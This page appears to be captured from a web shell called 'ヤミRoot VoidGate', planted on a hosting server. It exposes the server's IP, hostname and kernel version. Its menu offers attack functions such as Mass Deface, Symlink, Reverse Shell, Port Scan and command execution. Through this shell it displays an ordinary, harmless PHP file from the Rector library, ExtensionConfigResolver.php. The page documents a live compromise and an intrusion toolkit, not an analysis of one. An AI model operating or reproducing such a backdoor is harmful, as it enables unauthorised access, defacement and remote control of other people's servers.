ヤミRoot VoidGate
User / IP
:
216.73.216.49
Host / Server
:
146.88.233.70 / www.dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
opt
/
cpanel
/
ea-wappspector
/
vendor
/
rector
/
rector
/
src
/
Bootstrap
/
Viewing: ExtensionConfigResolver.php
<?php declare (strict_types=1); namespace Rector\Bootstrap; use Rector\RectorInstaller\GeneratedConfig; use ReflectionClass; final class ExtensionConfigResolver { /** * @api * @return string[] */ public function provide() : array { $configFilePaths = []; if (!\class_exists('Rector\\RectorInstaller\\GeneratedConfig')) { return $configFilePaths; } $generatedConfigReflectionClass = new ReflectionClass('Rector\\RectorInstaller\\GeneratedConfig'); if ($generatedConfigReflectionClass->getFileName() === \false) { return $configFilePaths; } $generatedConfigDirectory = \dirname($generatedConfigReflectionClass->getFileName()); foreach (GeneratedConfig::EXTENSIONS as $extensionConfig) { /** @var string[] $includedFiles */ $includedFiles = $extensionConfig['extra']['includes'] ?? []; foreach ($includedFiles as $includedFile) { $includedFilePath = $this->resolveIncludeFilePath($extensionConfig, $generatedConfigDirectory, $includedFile); if ($includedFilePath === null) { /** @var string $installPath */ $installPath = $extensionConfig['install_path']; $includedFilePath = \sprintf('%s/%s', $installPath, $includedFile); } $configFilePaths[] = $includedFilePath; } } return $configFilePaths; } /** * @param array<string, mixed> $extensionConfig */ private function resolveIncludeFilePath(array $extensionConfig, string $generatedConfigDirectory, string $includedFile) : ?string { if (!isset($extensionConfig['relative_install_path'])) { return null; } $includedFilePath = \sprintf('%s/%s/%s', $generatedConfigDirectory, (string) $extensionConfig['relative_install_path'], $includedFile); if (!\file_exists($includedFilePath)) { return null; } if (!\is_readable($includedFilePath)) { return null; } return $includedFilePath; } }
Coded With 💗 by
0x6ick